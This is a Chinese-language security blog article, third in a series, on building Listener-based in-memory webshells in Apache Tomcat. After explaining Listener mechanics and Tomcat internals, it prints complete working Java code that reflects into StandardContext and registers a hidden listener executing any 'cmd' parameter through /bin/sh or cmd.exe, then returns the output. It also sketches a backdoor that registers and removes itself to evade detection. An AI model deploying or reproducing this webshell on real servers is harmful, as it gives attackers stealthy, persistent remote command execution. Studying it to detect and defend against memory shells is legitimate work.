深入底层源码的Listener内存马(内存马系列篇三)

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深入底层源码的Listener内存马(内存马系列篇三)

2022-09-11 19:35:03

所属地四川省

本文由创作，已纳入「FreeBuf原创奖励计划」，未授权禁止转载

写在前面

继前面的FilterServlet内存马技术，这是系列文章的第三篇了，这篇将给大家带来的是Listener内存马技术。

前置

什么是Listener？

监听器 Listener 是一个实现特定接口的 Java 程序，这个程序专门用于监听另一个 Java 对象的方法调用或属性改变，当被监听对象发生上述事件后，监听器某个方法将立即自动执行。

监听器的相关概念：

事件：方法调用、属性改变、状态改变等。
事件源：被监听的对象（例如：request、session、servletContext）。
监听器：用于监听事件源对象，事件源对象状态的变化都会触发监听器。
注册监听器：将监听器与事件源进行绑定

监听器 Listener 按照监听的事件划分，可以分为 3 类：

监听对象创建和销毁的监听器
监听对象中属性变更的监听器
监听 HttpSession 中的对象状态改变的监听器

Listener的简单案例

在Tomcat中创建Listener有两种方式：

使用web.xml中的listener标签创建
使用@WebListener注册监听器

我们创建一个实现了javax.servlet.ServletRequestListener接口的类。

package pres.test.momenshell;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;

public class ListenerTest implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
        System.out.println("destroy Listener!");
    }

    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
        System.out.println("initial Listener!");
    }
}

将会在请求开始和请求结束分别执行requestInitialized或者requestDestroyed方法中的逻辑，

之后再web.xml中配置Listener。

<listener>
    <listener-class>pres.test.momenshell.ListenerTest</listener-class>
</listener>

之后开启tomcat容器。

在请求前和请求后都会执行对应逻辑。

Listener流程分析

首先给出程序到requestInitialized方法之前的调用栈。

requestInitialized:14, ListenerTest (pres.test.momenshell)
fireRequestInitEvent:5982, StandardContext (org.apache.catalina.core)
invoke:121, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:698, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:364, CoyoteAdapter (org.apache.catalina.connector)
service:624, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:831, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1673, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

将会到达StandardHostValve#invoke方法。

调用了StandardContext#fireRequestInitEvent方法进行请求初始化。

在其中，程序通过扫描web.xml中得到了对应的实例化对象，因为我们在web.xml中做出了对应的配置，所以我们能够通过if (instance != null && instance instanceof ServletRequestListener)的判断，进而调用了listener的requestInitialized方法。

即为我们的ListenerTest#requestInitialized方法。

正文

有了上面的相关基础，更能加深对内存马的理解。

分析注入

同样在javax.servlet.ServletContext中对于addListener有三种重载方式。

跟进api中的注解

能够实现的的监听器有：

ServletContextListener：用于监听整个 Servlet 上下文（创建、销毁）
ServletContextAttributeListener：对 Servlet 上下文属性进行监听（增删改属性）
ServletRequestListener：对 Request 请求进行监听（创建、销毁）
ServletRequestAttributeListener：对 Request 属性进行监听（增删改属性）
javax.servlet.http.HttpSessionListener：对 Session 整体状态的监听
javax.servlet.http.HttpSessionAttributeListener：对 Session 属性的监听

每一种接口有着不同的方法存在，就比如ServletRequestListener这个监听器。

存在有requestDestroyed和requestInitialized方法进行请求前和请求后的监听，又或者是ServletRequestAttributeListener这个监听器。

存在有attributeAddedattributeRemovedattributeReplaced分别对属性增 / 属性删 / 属性替换做出了监听。

但是这些监听器都是继承同一个接口EventListener，我们可以跟进一下addListener在Tomcat中的实现

在org.apache.catalina.core.ApplicationContext#addListener中。

如果这里传入的是一个ClassName，将会将其进行实例化之后判断是否实现了EventListener接口，也就是是否在监听类中实现了特性的监听器。

如果实现了这个标志接口将会将其强转为EventListener并传入addListener的重载方法。

同样和前面类似，不能在程序运行过程中进行Listener的添加，并且如果的监听器是ServletContextAttributeListener ServletRequestListener ServletRequestAttributeListener HttpSessionIdListener HttpSessionAttributeListener的时候将会通过调用StardardContext#addApplicationEventListener添加监听器，

又如果是HttpSessionListener ServletContextListener将会调用addApplicationLifecycleListener方法进行监听器的添加，

通过上面的分析我们不难得到Listener内存马中关于ServletRequestListener 这个监听器的实现步骤：

首先获取到StardardContext对象
之后创建一个实现了ServletRequestListener 接口的监听器类
再然后通过调用StardardContext类的addApplicationEventListener方法进行Listener的添加

实现内存马

有了上面的步骤我们就能够构造内存马

首先通过循环的方式获取StandardContext对象。

ServletContext servletContext = req.getServletContext();
StandardContext o = null;
while (o == null) { //循环从servletContext中取出StandardContext
    Field field = servletContext.getClass().getDeclaredField("context");
    field.setAccessible(true);
    Object o1 = field.get(servletContext);

    if (o1 instanceof ServletContext) {
        servletContext = (ServletContext) o1;
    } else if (o1 instanceof StandardContext) {
        o = (StandardContext) o1;
    }
}

之后创建一个监听器类, 我这里同样是一段任意代码执行的构造，通过reponse写进行回显操作。

class Mylistener implements ServletRequestListener {

    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
        ServletRequest request = servletRequestEvent.getServletRequest();
        if (request.getParameter("cmd") != null) {
            try {
                String cmd = request.getParameter("cmd");
                boolean isLinux = true;
                String osType = System.getProperty("os.name");
                if (osType != null && osType.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(inputStream).useDelimiter("\\a");
                String output = s.hasNext() ? s.next() : "";
                Field request1 = request.getClass().getDeclaredField("request");
                request1.setAccessible(true);
                Request request2 = (Request) request1.get(request);
                request2.getResponse().getWriter().write(output);
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NoSuchFieldException e) {
                e.printStackTrace();
            } catch (IllegalAccessException e) {
                e.printStackTrace();
            }
        }
    }

    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {

    }
}

最后当然就是将Listen添加。

Mylistener mylistener = new Mylistener();
//添加listener
o.addApplicationEventListener(mylistener);

得到完整的内存马。

package pres.test.momenshell;

import org.apache.catalina.connector.Request;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;

public class AddTomcatListener extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            ServletContext servletContext = req.getServletContext();
            StandardContext o = null;
            while (o == null) { //循环从servletContext中取出StandardContext
                Field field = servletContext.getClass().getDeclaredField("context");
                field.setAccessible(true);
                Object o1 = field.get(servletContext);

                if (o1 instanceof ServletContext) {
                    servletContext = (ServletContext) o1;
                } else if (o1 instanceof StandardContext) {
                    o = (StandardContext) o1;
                }
            }
            Mylistener mylistener = new Mylistener();
            //添加listener
            o.addApplicationEventListener(mylistener);
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
    }
}
class Mylistener implements ServletRequestListener {

    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
        ServletRequest request = servletRequestEvent.getServletRequest();
        if (request.getParameter("cmd") != null) {
            try {
                String cmd = request.getParameter("cmd");
                boolean isLinux = true;
                String osType = System.getProperty("os.name");
                if (osType != null && osType.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(inputStream).useDelimiter("\\a");
                String output = s.hasNext() ? s.next() : "";
                Field request1 = request.getClass().getDeclaredField("request");
                request1.setAccessible(true);
                Request request2 = (Request) request1.get(request);
                request2.getResponse().getWriter().write(output);
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NoSuchFieldException e) {
                e.printStackTrace();
            } catch (IllegalAccessException e) {
                e.printStackTrace();
            }
        }
    }

    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {

    }
}

内存马实验

这里同样使用在系列文章第一篇中提到的IndexServlet进行实验。

public class IndexServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String message = "Tomcat project!";
        String id = req.getParameter("id");

        StringBuilder sb = new StringBuilder();
        sb.append(message);
        if (id != null && id != null) {
            sb.append("\nid: ").append(id); //拼接id
        }
        resp.getWriter().println(sb);
    }
}

将会对传入参数id进行回显

之后配置addTomcatListener路由的Servlet进行内存马的注入。

这是最开始进行访问的情况。

访问addTomcatListener路由进行内存马的注入。

再次访问/index并传入cmd参数。

发现不仅仅回显了我传入的id参数，同样进行了命令的执行。

其他的花样构造

在api中支持的监听器中，还有很多其他的监听器可以进行内存马的实现，这里仅仅是对其中一个比较方法的监听器进行了说明。

比如说ServletRequestAttributeListener这个监听器，在分析注入那里也有所提及，我们通要可以将我们的恶意代码插入在

这些方法中进行对应的操作进行内存马的触发。

根据su18提供的一种攻击思路。

由于在 ServletRequestListener 中可以获取到 ServletRequestEvent，这其中又存了很多东西，ServletContext/StandardContext 都可以获取到，那玩法就变得更多了。可以根据不同思路实现很多非常神奇的功能，我举个例子：
在 requestInitialized 中监听，如果访问到了某个特定的 URL，或这次请求中包含某些特征（可以拿到 request 对象，随便怎么定义），则新起一个线程去 StandardContext 中注册一个 Filter，可以实现某些恶意功能。
在 requestDestroyed 中再起一个新线程 sleep 一定时间后将我们添加的 Filter 卸载掉。
这样我们就有了一个真正的动态后门，只有用的时候才回去注册它，用完就删

总结

也在这里总结一下这三种的执行顺序和特性。

他们的执行顺序分别是Listener > Filter > Servlet

Servlet ：在用户请求路径与处理类映射之处，添加一个指定路径的指定处理类；
Filter：在用户处理类之前的，用来对请求进行额外处理提供额外功能的类；
Listener：在 Filter 之外的监听进程。

总的来说Listener内存马比前两篇的危害更大，更具有隐藏性，且能够有更多的构造方式

最后，贴一下我总结的内存马编写流程

首先获取到StardardContext对象
之后创建一个实现了ServletRequestListener 接口的监听器类
再然后通过调用StardardContext类的addApplicationEventListener方法进行Listener的添加

Ref

https://su18.org/post/memory-shell

# web安全 # 网络安全技术

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